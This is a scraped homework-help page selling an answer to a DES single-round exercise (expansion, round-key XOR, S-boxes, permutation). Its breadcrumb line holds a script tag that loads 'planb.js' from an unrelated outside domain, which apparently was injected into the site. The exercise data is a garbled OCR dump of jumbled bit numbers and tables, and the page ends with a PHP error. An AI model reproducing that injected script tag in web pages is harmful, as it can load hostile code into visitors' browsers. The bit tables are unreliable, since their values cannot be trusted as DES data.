Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> a-Extend the input to 48 bitsusing DES expansion function.b- Add (XOR) the given round key to the ex

(Solved): a-Extend the input to 48 bitsusing DES expansion function.b- Add (XOR) the given round key to the ex ...



a- Extend the input to 48 bitsusing DES expansion function.
b- Add (XOR) the given round key to the expanded input bits.
c- Using 8 DES S-boxes, find the 32-bit output of substitutionstep. DES S-boxes are
presented in the DES paper, appendix 1 (pages 17-18).
d- Permute the S-box output using the given permutationtable.

1- DES Input: bit # 1 2 3 bit 10 110 24 25 26 27 28 29 0 1 14 15 16 17 11 18 19 20 21 30 31 32 7 10 12 13 23 5 6 11 22 0 1 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 Round Key: bit# 123 0 0 0 10 11 15 16 19 20 21 22 23 24 12 13 14 17 18 4 5 7 9 bit 0 1 0 1 1 1 0 1 1 0 0 1 1 0 0 0 1 0 43 4445 464748 0 0 bit#25 26 27 28 1 10 29 30 31 32 33 34 35 36 37 38 39 40 4142 0 0 bit 1 1 1 1 0 1 0 1 1 0 0 0 1 1 1 1 Permutation table DES Expansion Table P E 7| 20 21 29 1228 17 18 31 10 16 4 5 32 1 2 3 15 23 1 26 5 4 7 8 9 14 32 27 6 22 11 24 2 8 3 10 11 13 14 15 17 18 19 20 12 13 16 17 20 21 24 25 28 29 32 1 19 13 30 4 25 12 16 21 22 23 25 26 27 29 30 31 24 28 O Ln O NLO 0O O Ln Show transcribed image text 1- DES Input: bit # 1 2 3 bit 10 110 24 25 26 27 28 29 0 1 14 15 16 17 11 18 19 20 21 30 31 32 7 10 12 13 23 5 6 11 22 0 1 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 Round Key: bit# 123 0 0 0 10 11 15 16 19 20 21 22 23 24 12 13 14 17 18 4 5 7 9 bit 0 1 0 1 1 1 0 1 1 0 0 1 1 0 0 0 1 0 43 4445 464748 0 0 bit#25 26 27 28 1 10 29 30 31 32 33 34 35 36 37 38 39 40 4142 0 0 bit 1 1 1 1 0 1 0 1 1 0 0 0 1 1 1 1 Permutation table DES Expansion Table P E 7| 20 21 29 1228 17 18 31 10 16 4 5 32 1 2 3 15 23 1 26 5 4 7 8 9 14 32 27 6 22 11 24 2 8 3 10 11 13 14 15 17 18 19 20 12 13 16 17 20 21 24 25 28 29 32 1 19 13 30 4 25 12 16 21 22 23 25 26 27 29 30 31 24 28 O Ln O NLO 0O O Ln


We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now

A PHP Error was encountered

Severity: Core Warning

Message: PHP Startup: Unable to load dynamic library 'dba.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so (libtokyocabinet.so.9: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so.so: cannot open shared object file: No such file or directory))

Filename: Unknown

Line Number: 0

Backtrace: